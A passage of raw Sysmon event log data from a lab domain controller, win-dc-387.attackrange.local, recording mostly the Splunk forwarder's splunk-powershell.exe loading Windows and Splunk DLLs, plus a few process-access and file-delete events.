Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=151F1FC27937910381270E85068A6585,SHA256=7041CC919D9E439A85CBFBBCD089B3CF73077B9C542CEC8FCDF1B012B9ECFBC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.741{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C7A92F72CCC49F51B1EDE72E2580B80,SHA256=A61B0A668918FD14FAD454B9D011CD78170E5F4F1B1E5D403D14FBE4DB507616,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.647{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.647{7BD73061-755B-613B-BA0B-00000000F001}66242492C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.647{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.647{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.475{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=95C75EA584D38FC88756F54DFDEF14A7,SHA256=B068E9AE217FF8A3E3423F52B282A35949EC889B3F26981B1649C8EDDDC27B33,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.460{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program 